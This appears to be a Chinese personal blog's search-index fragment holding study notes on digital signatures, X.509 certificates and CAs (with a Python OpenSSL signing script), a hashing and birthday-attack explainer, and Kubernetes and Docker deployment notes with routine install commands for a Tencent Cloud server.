数字签名常用算法\n普通数字签名算法\nRSA ElGamal /DSS/DSA ECDSA 盲签名算法 群签名算法\nRSA算法的签名过程和实现过程\n数字证书 数字证书的作用 ​\t任何的密码体制都不是坚不可摧的，公开密钥体制也不例外。由于公开密钥体制的公钥是对所有人公开的，从而免去了密钥的传递，简化了密钥的管理。 ​\t但是这个公开性在给人们带来便利的同时，也给攻击者冒充身份篡改公钥有可乘之机。所以，密钥也需要认证，在拿到某人的公钥时，需要先辨别一下它的真伪。这时就需要一个认证机构，将身份证书作为密钥管理的载体，并配套建立各种密钥管理设施。\n数字证书的定义 数字证书（Digital Certificate）又称为数字标识（Digital ID）。它提供一种在Internet上验证身份的方式，是用来标志和证明网络通信双方身份的数字信息文件。\n数字证书的内容 最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。一般情况下证书中还包括密钥的有效时间，发证机关(证书授权中心)的名称，该证书的序列号等信息，证书的格式遵循ITU-T X.509国际标准。\n一个标准的X.509数字安全证书包含以下一些内容： （1）证书的版本号。不同的版本的证书格式也不同，在读取证书时首先需要检查版本号。 （2）证书的序列号。每个证书都有一个唯一的证书序列号。 （3）证书所使用的签名算法标识符。签名算法标识符表明数字签名所采用的算法以及使用的参数。 （4）证书的发行机构名称。创建并签署证书的CA的名称，命名规则一般采用X.500格式。 （5）证书的有效期。证书的有效期由证书有效起始时间和终止时间来定义。 （6）证书所有人的名称。命名规则一般采用X.500格式； （7）证书所有人的公开密钥及相关参数。相关参数包括加密算法的标识符及参数等 （8）证书发行机构ID。这是版本2中增加的可选字段。 （9）证书所有人ID。这是版本2中增加的可选字段。 （10）扩展域。这是版本3中增加的字段，它是一个包含若干扩展字段的集合。 （11）证书发行机构对证书的签名，即CA对证书内除本签名字段以外的所有字段的数字签名。\n认证中心 CA（Certificate Authority，认证中心）作为权威的、可信赖的、公正的第三方机构，专门负责发放并管理所有参与网上交易的实体所需的数字证书。\nCA作为一个权威机构，对密钥进行有效地管理，颁发证书证明密钥的有效性，并将公开密钥同某一个实体（消费者、商户、银行）联系在一起。\nCA的主要职责\n（1）颁发证书：如密钥对的生成、私钥的保护等，并保证证书持有者应有不同的密钥对。 （2）管理证书：记录所有颁发过的证书，以及所有被吊销的证书。 （3）用户管理：对于每一个新提交的申请，都要和列表中现存的标识名相比较，如出现重复，就给予拒绝。 （4）吊销证书：在证书有效期内使其无效，并发表CRL（Certificate Revocation List，被吊销的证书列表） （5）验证申请者身份：对每一个申请者进行必要的身份认证。 （6）保护证书服务器：证书服务器必须安全的，CA应采取相应措施保证其安全性。 （7）保护CA私钥和用户私钥：CA签发证书所用的私钥要受到严格的保护，不能被毁坏，也不能被非法使用。同时，根据用户密钥对的产生方式，CA在某些情况下有保护用户私钥的责任。 （8）审计和日志检查：为了安全起见，CA对一些重要的操作应记入系统日志。在CA发生事故后，要根据系统日志做善后追踪处理――审计，CA管理员要定期检查日志文件，尽早发现可能的隐患。\nCA的基本组成\n认证中心主要有三个部分组成\n注册服务器（RS）：面向用户，包括计算机系统和功能接口； 注册中心（RA）：负责证书的审批； 认证中心（CA）：负责证书的颁发，是被信任的部门 一个完整的安全解决方案除了有认证中心外，一般还包括以下几个方面：\n密码体制的选择\n安全协议的选择\nSSL（Secure Socket Layer 安全套接字层）\nS-HTTP（Secure HTTP，安全的http协议）\nSET（Secure Electonic Transaction，安全电子交易协议）\nCA的三层体系结构\n第一层为RCA（Root Certificate Authority，根认证中心）。它的职责是负责制定和审批CA的总政策，签发并管理第二层CA的证书，与其它根CA进行交叉认证。 第二层为BCA（Brand Certificate Authority，品牌认证中心）。它的职责是根据RCA的规定，制定具体政策、管理制度及运行规范；签发第三层证书并进行证书管理。 第三层为ECA（End user CA，终端用户CA）。它为参与电子商务的各实体颁发证书。签发的证书可分为三类：分别是支付网关（Payment Gateway）、持卡人（Cardholder）和商家（Merchant）签发的证书；签发这三种证书的CA对应的可称之为PCA、CCA和MCA。 【任务完成】 主要是采用OpenSSL命令行操作完成的，虽然使用python写的代码，不过还是是通过系统调用命令的方式进行的。\nimport os def input_message(): text = input(\u0026#34;请输入一段文字，用于加密：\u0026#34;) fh = open(\u0026#34;message.txt\u0026#34;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) fh.write(text) fh.close() # 使用md5生成摘要 def dgst_md5(file): \u0026#39;\u0026#39;\u0026#39;file表示文件名+后缀，输出：dgst_file.txt\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl dgst -md5 -out dgst_\u0026#34; + file + \u0026#34;.txt \u0026#34; + file os.system(command) # 生成私钥 def key_generate(name): \u0026#39;\u0026#39;\u0026#39;name表示私钥名字，私钥长度为2048，输出为name_prikey.pem\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl genrsa -out \u0026#34; + name + \u0026#34;_prikey.pem\u0026#34; os.system(command) # 生成公钥 def key_public(prikey, name): \u0026#39;\u0026#39;\u0026#39;prikey表示私钥的名字，输出为name_pubkey.pem openssl pkey -in key.pem -pubout -out pubkey.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkey -in \u0026#34; + prikey + \u0026#34;.pem -pubout -out \u0026#34; + name + \u0026#34;_pubkey.pem\u0026#34; os.system(command) # 签名 def sign(file, key): \u0026#39;\u0026#39;\u0026#39;file表示要签名的文件的名字，key表示签名所用到的私钥，输出为file.sig openssl pkeyutl -sign -in message.txt -inkey key.pem -out message.sig\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkeyutl -sign -in \u0026#34; + file + \u0026#34;.txt -inkey \u0026#34; + key + \u0026#34;.pem -out \u0026#34; + file + \u0026#34;.sig\u0026#34; os.system(command) # 验证签名 def verify(file, signature, pubkey): \u0026#39;\u0026#39;\u0026#39; signature表示签名文件，key表示公钥, openssl pkeyutl -verify -in message.txt -sigfile message.sig -pubin -inkey pubkey.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkeyutl -verify -in \u0026#34; + file + \u0026#34; -sigfile \u0026#34; + signature + \u0026#34;.sig -pubin -inkey \u0026#34; + pubkey + \u0026#34;.pem\u0026#34; os.system(command) # 普通公钥请求证书 def req_cert(prikey): \u0026#39;\u0026#39;\u0026#39; prikey表示source的私钥，采用的是source.cnf中的配置信息，输出为source.csr openssl req -new -key source_prikey.pem -out source.csr \u0026#39;\u0026#39;\u0026#39; command = \u0026#34; openssl req -new -key \u0026#34; + prikey + \u0026#34;.pem -out source.csr -config source.cnf\u0026#34; os.system(command) # 由CA生成证书 def req_x509(csr_name, ca_pubkey, ca_prikey): \u0026#39;\u0026#39;\u0026#39;csr_name表示证书请求文件的名称，ca_pubkey表示ca的公钥即自签证书，ca_prikey表示ca的私钥 使用ca_prikey.pem对证书请求文件csr_name.csr进行签名，生成一个带有签名的证书文件dest.pem openssl x509 -req -in source.csr -CA ca_cert.pem -CAkey ca_prikey.pem -CAcreateserial -out source_cert.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34; openssl x509 -req -in \u0026#34; + csr_name + \u0026#34;.csr -CA \u0026#34; + ca_pubkey + \u0026#34;.pem -CAkey \u0026#34; + ca_prikey + \u0026#34;.pem -CAcreateserial -out dest.pem\u0026#34; os.system(command) # 生成自签名证书 def req_cacert(prikey): \u0026#39;\u0026#39;\u0026#39; 使用 CA 私钥生成自签名的 CA 证书,生成ca_pubkey.pem openssl req -new -x509 -key ca_prikey.pem -out ca_cert.pem -days 365 -config ca.cnf\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl req -new -x509 -key \u0026#34; + prikey + \u0026#34;.pem -out ca_pubkey.pem -days 365 -config ca.cnf\u0026#34; os.system(command) # 从证书中提取公钥 def load_pubkey(cert): \u0026#39;\u0026#39;\u0026#39; 从证书中提取源公钥,cert表示需要提取公钥的证书，输出为source_pubkey_extracted.pem openssl x509 -in source_cert.pem -pubkey -noout \u0026gt; source_pubkey_extracted.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl x509 -in \u0026#34; + cert + \u0026#34;.pem -pubkey -noout \u0026gt; source_pubkey_extracted.pem\u0026#34; os.system(command) # if __name__ == \u0026#39;__main__\u0026#39;: # 输入内容到message.txt input_message() # 生成source的私钥 key_generate(\u0026#34;source\u0026#34;) # 生成source的公钥 key_public(\u0026#34;source_prikey\u0026#34;, \u0026#34;source\u0026#34;) # 生成ca的私钥 key_generate(\u0026#34;ca\u0026#34;) # 生成ca的公钥 req_cacert(\u0026#34;ca_prikey\u0026#34;) # 1.对message.txt使用md5生成摘要 # 生成文件 dgst_message.txt.txt dgst_md5(\u0026#34;message.txt\u0026#34;) # 2.对摘要dgst_message.txt使用source方的私钥进行签名 # 生成文件 dgst_message.txt.sig sign(\u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_prikey\u0026#34;) # 3.将source方的公钥包含在证书请求文件source.pem中 req_cert(\u0026#34;source_prikey\u0026#34;) # 4.CA对csr.pem的证书请求文件进行发布证书 req_x509(\u0026#34;source\u0026#34;, \u0026#34;ca_pubkey\u0026#34;, \u0026#34;ca_prikey\u0026#34;) # 5.对source的签名文件dgst_message.sig文件进行摘要和签名 # 生成文件dgst_dgst_message.txt.sig.txt dgst_dgst_message.txt.sig.sig dgst_md5(\u0026#34;dgst_message.txt.sig\u0026#34;) sign(\u0026#34;dgst_dgst_message.txt.sig\u0026#34;, \u0026#34;ca_prikey\u0026#34;) # 6.从CA认证的证书dest.pem中提取原公钥 load_pubkey(\u0026#34;dest\u0026#34;) # 7.使用由CA认证的证书中提取的公钥对文件进行验证签名 print(\u0026#34;使用由CA认证的证书中提取的公钥对文件进行验证签名：\u0026#34;) verify(\u0026#34;dgst_message.txt.txt\u0026#34;, \u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_pubkey_extracted\u0026#34;) \u0026#39;\u0026#39;\u0026#39; # 使用ca的公钥对于message.sig签名文件进行验证签名，判断是否与message.txt内容相同 print(\u0026#34;对CA签名的验证：\u0026#34;) # 这个验证必须要将ca_pubkey.pem通过普通公钥的生成，参考source verify(\u0026#34;dgst_dgst_message.txt.sig.txt\u0026#34;, \u0026#34;dgst_dgst_message.txt.sig\u0026#34;, \u0026#34;ca_pubkey\u0026#34;) # 使用source的公钥对于dgst_message.sig签名文件进行验证签名，判断是否与dgst_message.txt内容相同 print(\u0026#34;使用source的公钥对source签名的验证：\u0026#34;) verify(\u0026#34;dgst_message.txt.txt\u0026#34;, \u0026#34;dgst_message.txt\u0026#34;, \u0026#34;source_pubkey\u0026#34;) \u0026#39;\u0026#39;\u0026#39; ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/encryption-authentication/","summary":"任务 采用Java/Python语言编写一个较为完整的加密与认证程序，要求具有：\n具有较完整的图形化界面； 使用MD5、SHA系列算法，实现消息摘要，确保消息的完整性； 使用DES、AES等算法实现对称加密，确保消息的机密性； 使用RSA算法，实现公钥加密，且用私钥解密，比较不对称加密和对称加密的性能； 实现基于数字证书的数字签名和验证（含证书的生成和创建）； 消息摘要 消息摘要的作用 在网络安全目标中，要求信息在生成、存储或传输过程中保证不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失，因此需要一个较为安全的标准和算法，以保证数据的完整性。\n常见的消息摘要算法有： Ron Rivest设计的MD（Standard For Message Digest，消息摘要标准）算法 NIST设计的SHA（Secure Hash Algorithm，安全散列算法）\n单向散列函数 特点 不定长的输入和定长的输出；\n对于及其微小的变化，如1bit的变化，器哈希函数所产生的值也差异巨大；\n对于不同的原像都有不同的映像，从散列值不可能推导出消息M ，也很难通过伪造消息M’来生成相同的散列值。\nHash函数的值称为作为自变量的消息的“散列值”或“消息摘要”、“数字指纹”\n哈希函数的分类 根据安全水平 弱无碰撞 强无碰撞 ​\t注：强无碰撞自然含弱无碰撞！\n根据是否使用密钥 带秘密密钥的Hash函数：消息的散列值由只有通信双方知道的秘密密钥K来控制，此时散列值称作MAC(Message Authentication Code) 不带秘密密钥的Hash函数：消息的散列值的产生无需使用密钥，此时散列值称作MDC(Message Detection Code) 哈希函数的应用 由Hash函数产生消息的散列值 以消息的散列值来判别消息的完整性 用加密消息的散列值来产生数字签名 用口令的散列值来安全存储口令（认证系统中的口令列表中仅存储口令的Hash函数值，以避免口令被窃取。认证时用输入口令的Hash函数值与其比较） 安全哈希函数的实现 输入数据分成L个长度固定为r的分组：M=(M1,M2,…,ML) 末组附加消息的长度值并通过填充凑足r位 压缩函数 f使用n位的链接变量Hi ,其初值H0=IV可任意指定 压缩函数 f的最后n位输出HL取作散列值 哈希函数：生日攻击 当哈希函数的输入位数太短的时候，就容易产生哈希碰撞，即出现两个原像对应用一个映像的问题。\n生日问题 一个教室中至少有几个学生才能使有两个学生生日相同的概率不小于1/2； 等价于“球匣问题” 设J个球随机扔进N个匣子，存在一个匣子中至少有两个球的概率为p，则可以推导出: J2≈-2Nln(1-p)或 p≈ 1-e-J2/2/N 答案 将365个生日看作N=365个匣子，将学生看作球，p=0.5，则由上式可算出J≈23，即23个学生中有两个学生生日相同的概率不小于1/2；\n生日攻击实例：\n​\t假设张三承诺支付李四100万，约定由李四负责起草合同，并通过8位的散列码H(M)实施信息认证。聪明而无德的李四先起草一个100万的版本，并通过变化其中3个无关紧要之处以得到23=8个不同的消息明文并计算它们的H(M)，形成集合A；然后再起草一个200万的版本，用同样方法又得到23=8 个不同的消息明文及其H(M)，形成集合B。 ​\t由生日问题知：24个8位比特串中发生碰撞的概率不小于1/2，故在A和B共24 =16个H(M)中有可能存在相同的一对，并极有可能一个在A中而另一个在B中。假设与它们对应的明文为MA （100万版） 和MB （200万版） 。于是李四用MA让张三签署并公证，而在传送时偷偷地用MB替代MA 。由于H(MA)= H(MB)，故张三确信签署的文件未被篡改。当李四要求张三支付200万时，法院根据MB判李四胜诉，而张三因此损失100万。","title":"加密与认证"},{"content":"Service类型 在 Kubernetes 中，Service 是一种抽象的概念，用于将一组 Pod 组织在一起，并为它们提供统一的访问入口。Service 可以通过一组稳定的 IP 地址和端口号，为其他容器或外部用户提供对这些 Pod 的访问。\n为什么需要服务？ pod的存在是短暂的，当pod因为节点故障或者人为原因下线的时候，ReplicationController可以上线一个新的pod。但是新的pod和原来的pod的IP是不相同的——为了解决不断变化的pod IP地址的问题，以及在一个固定的IP和端口对外暴露多个pod。\n当一个服务被创建时，他会得到一个静态的IP，在服务的生命周期中这个IP不会发生变化。客户端应该通过这个固定IP地址连接到服务，而不是直接连接到pod。\n服务的类型 Kubernetes 中的 Service 有以下四种类型：\n1、ClusterIP 这是默认的 Service 类型，用于将 Service 暴露在集群内部。它为每个 Service 分配一个虚拟 IP 地址，可以通过该地址访问 Service 中的 Pod。ClusterIP 只能从集群内部访问，不能从集群外部访问。\n2、NodePort 这种类型的 Service 将 Service 暴露到集群外部，通过将每个节点上的端口映射到 Service 上，可以让外部用户通过任意节点的 IP 地址和映射端口访问 Service 中的 Pod。NodePort 通常用于测试和开发环境，不太适合生产环境。\n3、LoadBalancer 这种类型的 Service 可以将 Service 暴露到集群外部，并使用云提供商的负载均衡器将流量路由到 Service 中的 Pod。LoadBalancer 只能在云提供商支持的环境中使用，并且需要正确配置云提供商的负载均衡器才能正常工作。\n4、ExternalName 这种类型的 Service 可以将 Service 暴露到集群外部，但它并不会创建任何代理或负载均衡器，而只是将 Service 映射到一个 DNS 名称。这可以让您在 Kubernetes 中使用外部服务，或者在不同的命名空间中重用服务。\n这些 Service 类型之间的主要差异在于它们暴露 Service 的方式、访问方式和使用场景不同。在选择 Service 类型时，您应该考虑您的应用程序的访问需求，以及您正在使用的 Kubernetes 部署环境的限制和要求。\nReplication Controller与Deployment Replication Controller 中文翻译：复制控制器\nReplication Controller为Kubernetes的一个核心内容，应用托管到Kubernetes之后，需要保证应用能够持续的运行，Replication Controller就是这个保证的key，主要的功能如下：\n确保pod数量：它会确保Kubernetes中有指定数量的Pod在运行。如果少于指定数量的pod，Replication Controller会创建新的，反之则会删除掉多余的以保证Pod数量不变。\n确保pod健康：当pod不健康，运行出错或者无法提供服务时，Replication Controller也会杀死不健康的pod，重新创建新的。\n弹性伸缩 ：在业务高峰或者低峰期的时候，可以通过Replication Controller动态的调整pod的数量来提高资源的利用率。同时，配置相应的监控功能（Hroizontal Pod Autoscaler），会定时自动从监控平台获取Replication Controller关联pod的整体资源使用情况，做到自动伸缩。\n滚动升级：滚动升级为一种平滑的升级方式，通过逐步替换的策略，保证整体系统的稳定，在初始化升级的时候就可以及时发现和解决问题，避免问题不断扩大。\nDeployment Deployment同样为Kubernetes的一个核心内容，主要职责同样是为了保证pod的数量和健康，90%的功能与Replication Controller完全一样，可以看做新一代的Replication Controller。但是，它又具备了Replication Controller之外的新特性：\nReplication Controller全部功能：Deployment继承了上面描述的Replication Controller全部功能。\n事件和状态查看：可以查看Deployment的升级详细进度和状态。\n回滚：当升级pod镜像或者相关参数的时候发现问题，可以使用回滚操作回滚到上一个稳定的版本或者指定的版本。\n版本记录: 每一次对Deployment的操作，都能保存下来，给予后续可能的回滚使用。\n暂停和启动：对于每一次升级，都能够随时暂停和启动。\n多种升级方案：Recreate：删除所有已存在的pod,重新创建新的; RollingUpdate：滚动升级，逐步替换的策略，同时滚动升级时，支持更多的附加参数，例如设置最大不可用pod数量，最小升级间隔时间等等。 ———————————————— 版权声明：本文为CSDN博主「小魏的博客」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/w2009211777/article/details/124014770\nLinux指令 sudo su //以root身份登录 lsof -i //打印进程和监听端口 【实践】在腾讯云轻量级服务器上搭建网站 实践内容 在腾讯云上，有首月免费的轻量级服务器可以租借。\n本次实训的内容是，租借一台服务器，部署《kubernetes in action》当中的网站例子。至少包含 deployment（部署） nodeport(服务的类型) prometheus grafna 这些功能。\n解释：\nphometheus：当前一套非常流行的开源监控和报警系统\nGrafana 是一个用于可视化大型测量数据的开源系统，它的功能非常强大，界面也非常漂亮，\nPrometheus + Grafana 虽然 Prometheus 提供的 Web UI 也可以很好的查看不同指标的视图，但是这个功能非常简单，只适合用来调试。要实现一个强大的监控系统，还需要一个能定制展示不同指标的面板，能支持不同类型的展现方式（曲线图、饼状图、热点图、TopN 等），这就是仪表盘（Dashboard）功能。\n因此 Prometheus 开发了一套仪表盘系统 PromDash，不过很快这套系统就被废弃了，官方开始推荐使用 Grafana 来对 Prometheus 的指标数据进行可视化，这不仅是因为 Grafana 的功能非常强大，而且它和 Prometheus 可以完美的无缝融合。 ———————————————— 版权声明：本文为CSDN博主「40岁资深老架构师尼恩」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/crazymakercircle/article/details/127206293\n实践步骤 要完成这个任务，您需要执行以下步骤：\n购买一台虚拟服务器，可以使用云计算服务商如阿里云、腾讯云、AWS等提供的虚拟机实例，也可以使用自己的物理服务器。 在服务器上安装 Kubernetes，您可以选择手动安装或使用 Kubernetes 安装程序（如 kubeadm）进行安装。安装过程可以参考《Kubernetes in Action》书籍中的相关章节。 部署网站示例，可以使用书中提供的示例或者使用自己编写的应用程序，将其打包成 Docker 镜像并上传至 Docker 镜像仓库。 使用 Kubernetes 的 Deployment 功能创建应用程序的部署，确保应用程序能够正常运行。 通过 Kubernetes 的 NodePort 功能暴露应用程序的服务，以便能够从外部访问应用程序。 安装 Prometheus 和 Grafana，用于监控应用程序的性能和运行状况。 将应用程序和监控系统的指标数据通过 Kubernetes 的 Service 功能进行关联，以便监控系统能够收集和分析应用程序的指标数据。 在 Grafana 中创建仪表盘，用于显示应用程序的监控数据。 完成以上步骤后，您就可以在服务器上部署《Kubernetes in Action》书籍中的网站示例，并使用 Prometheus 和 Grafana 监控应用程序的性能和运行状况。\n实践提示 在腾讯云上安装K8S 在腾讯云上安装 Kubernetes，可以按照以下步骤进行：\n登录腾讯云控制台，选择容器服务（TKE）。 创建 Kubernetes 集群：在容器服务（TKE）控制台上，选择创建集群，按照页面提示填写集群名称、节点数量、实例规格等信息，选择集群网络和安全组等配置。 安装和配置 kubectl：在 Kubernetes 集群创建完成后，进入集群管理页面，下载并安装 kubectl 工具，配置集群连接信息。 部署 Kubernetes 组件：在集群管理页面上，选择组件管理，按照页面提示部署 Kubernetes 组件，如 kube-apiserver、kube-controller-manager、kube-scheduler、etcd 等。 部署网络插件：在集群管理页面上，选择网络插件，选择并部署一个合适的网络插件，如 Flannel、Calico、Weave Net 等。 部署存储插件：如果需要在 Kubernetes 集群中使用持久化存储，可以选择并部署一个存储插件，如 Ceph、GlusterFS 等。 部署应用程序：使用 kubectl 工具，在 Kubernetes 集群上部署和管理自己的应用程序，如创建 Pod、Deployment、Service 等 Kubernetes 对象。 总之，在腾讯云上安装 Kubernetes，需要根据具体的需求，选择不同的配置和插件，按照腾讯云容器服务（TKE）提供的文档和指南进行操作，最终构建出一个稳定、可靠的 Kubernetes 集群。\n搭建一个网页并制作成Docker镜像 选择一个网页框架：您可以选择一个合适的网页框架，比如 Flask、Django、Vue.js、React 等。这些框架都有各自的优缺点和使用场景，您可以根据自己的需要进行选择。 编写网页代码：根据您选择的框架，编写网页代码，实现您想要的功能。您可以在本地开发环境中进行调试和测试，确保代码能够正常运行。 配置 Dockerfile：在您的代码目录下创建一个名为 Dockerfile 的文件，该文件包含构建 Docker 镜像的指令。您需要根据您的应用程序和所选框架进行相应的配置，包括设置基础镜像、安装所需的依赖项、将代码复制到容器中等。 构建 Docker 镜像：使用 Docker 命令构建 Docker 镜像，将您的网页代码打包成 Docker 镜像。例如，使用以下命令构建一个名为 my-web 的 Docker 镜像： docker build -t my-web . 测试 Docker 镜像：使用 Docker 命令运行您的 Docker 镜像，测试您的网页能否正常工作。例如，使用以下命令启动一个名为 my-web 的 Docker 容器： docker run -p 8080:80 my-web ​\t其中，-p 8080:80 表示将容器内部的 80 端口映射到主机的 8080 端口。\n上传 Docker 镜像：将您的 Docker 镜像上传到 Docker Hub 或其他 Docker 镜像仓库中，以便其他人可以访问和使用您的镜像。 以上是一个简单的搭建网页并制作 Docker 镜像的步骤。具体的步骤可能会因为您选择的框架和工具而略有不同，您需要根据实际情况进行调整和优化。\n实践报告 1.实践步骤 1.1 完成网页代码的编写 网页文件 版本v1 index.html：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;随机生成字符串\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;随机生成字符串\u0026lt;/h1\u0026gt; \u0026lt;p id=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;button onclick=\u0026#34;generate()\u0026#34;\u0026gt;生成\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; function generate() { // 定义生成字符串的所有字符 var chars = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\u0026#34;; // 定义生成字符串的长度 var length = 10; var result = \u0026#34;\u0026#34;; // 循环生成字符串 for (var i = 0; i \u0026lt; length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } // 将生成的字符串显示在页面上 document.getElementById(\u0026#34;result\u0026#34;).innerHTML = result; } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 网页文件 版本v2 index-with-error.html:\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;IE=edge\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;访问出错\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1 style=\u0026#34;text-align: center;\u0026#34;\u0026gt;Error!\u0026lt;/h1\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 网页版本v1是正常的网页，而版本v2用来模拟版本更新中出现错误的版本，利用deployment进行历史版本的回滚。\n1.2 完成镜像的打包 分别编写两个网站的Dockerfile，将他们打包成不同的镜像。\n版本v1Dockerfile：\n# 指定基础镜像 FROM nginx # 将工作目录切换到 /usr/share/nginx/html WORKDIR /usr/share/nginx/html # 将当前目录下的 index.html 和 main.js 文件复制到镜像中的 /usr/share/nginx/html 目录下 COPY index.html . # 暴露容器的 80 端口 EXPOSE 80 # 运行 nginx 服务器 CMD [\u0026#34;nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] 版本v2 Dockerfile：\n# 指定基础镜像 FROM nginx # 将工作目录切换到 /usr/share/nginx/html WORKDIR /usr/share/nginx/html # 将当前目录下的 index.html 和 main.js 文件复制到镜像中的 /usr/share/nginx/html 目录下 COPY index-with-error.html . # 暴露容器的 80 端口 EXPOSE 80 # 运行 nginx 服务器 CMD [\u0026#34;nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] 在启动docker桌面版之后在终端中执行命令：\ndocker build -t frontend:v1 . docker build -t frontend:v2 . 1.3 完成上传至腾讯云镜像仓库 完成登陆指令：\ndocker login ccr.ccs.tencentyun.com --username=100029754889 完成镜像的更名和推送到腾讯云上的镜像仓库：\ndocker tag 500112082598e896cd70b459fccf2e3c5f39874bf854589626eec751a3933a5b ccr.ccs.tencentyun.com/siriusspace/sirius:v2 docker push ccr.ccs.tencentyun.com/siriusspace/sirius:v2 docker tag f79982b77bfbe0f92a7de6a2fabdc21e818de3370aed1c38a6ab3c73d1dd0b32 ccr.ccs.tencentyun.com/siriusspace/sirius:v3 docker push ccr.ccs.tencentyun.com/siriusspace/sirius:v3 1.4 在腾讯云上面申请一个轻量级应用服务器 在腾讯云上申请一个基于容器镜像的Ubuntu20.04-Docker20系统，用于此次计算思维实训的工作环境。\n1.5 服务器环境配置 在腾讯云的OracTerm上登陆，把当前用户设置成超级管理员，并且在上面安装必要的环境，如kubernetes，docker；\n也可以使用SSH工具进行远程登陆进行操作，在首次使用SSH远程登陆，需要重置密码；并且当服务器重装系统之后，需要将本地的known_hosts中的文件注释掉，再重新进行登录。\n1.5.1 安装docker的步骤： 更新 apt 包索引：\nsudo apt-get update 安装依赖包，用于让 apt 能够通过 HTTPS 使用 Docker 仓库：\nsudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release 添加 Docker 的 GPG 密钥：\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 添加 Docker APT 仓库：\necho \\ \u0026#34;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \\ $(lsb_release -cs) stable\u0026#34; | sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null 更新 apt 包索引：\nsudo apt-get update 安装 Docker：\nsudo apt-get install docker-ce docker-ce-cli containerd.io 验证 Docker 是否安装成功 sudo docker version 1.5.2 安装kubernetes的步骤： 1.安装Kubernetes的工具包：kubeadm、kubelet和kubectl //阿里云镜像仓库 sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y apt-transport-https curl curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add - cat \u0026lt;\u0026lt;EOF | sudo tee /etc/apt/sources.list.d/kubernetes.list deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main EOF sudo apt-get update sudo apt-get install -y kubelet kubeadm kubectl 2.初始化Kubernetes集群 ​\t在安装完成kubeadm和kubelet后，使用kubeadm初始化Kubernetes集群。首先，选择腾讯云的轻量级服务器作为主节点，然后在该节点上运行以下命令：\nsudo kubeadm init --image-repository=registry.aliyuncs.com/google_containers --pod-network-cidr=10.244.0.0/16 ​\t运行 kubeadm init初始化主节点Kubeadm部署了所有必要的控制面板组件，包括etcd、API服务器、Scheduler和Controller Manager，此外他还部署了kube-proxy，使得主节点可以使用Kubernetes服务。`\n​\t--image-repository选项指定Docker镜像仓库，这里使用阿里云的镜像仓库。--pod-network-cidr选项指定Pod网络的CIDR。\n​\t该命令将自动下载并安装必要的组件，并初始化Kubernetes集群。在安装完成后，kubeadm将输出一个join命令，将此命令保存，以便于复制到另一个节点上运行以加入集群。\n3.安装网络插件 ​\t在Kubernetes集群中，Pod之间需要进行通信。要实现这一点，需要安装一个网络插件。\n​\t使用Flannel作为网络插件，用以下命令安装Flannel：\nkubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml 4.将其他节点加入集群 ​\t在工作节点上使用特定的token以及主节点的IP地址端口信息。执行kubeadm join命令，然后节点将自己的信息注册到主节点，可以在主节点上再次执行kubectl get node 命令，检查是否注册完成。\n​\t对于要加入集群的节点，需要在其中一台Master节点上运行以下命令获取加入集群所需的token和证书：\nluaCopy code sudo kubeadm token create --print-join-command ​\t将输出的命令复制到要加入集群的节点上运行，例如：\nrubyCopy code sudo kubeadm join \u0026lt;master-node-ip\u0026gt;:\u0026lt;master-node-port\u0026gt; --token \u0026lt;token\u0026gt; --discovery-token-ca-cert-hash \u0026lt;hash\u0026gt; 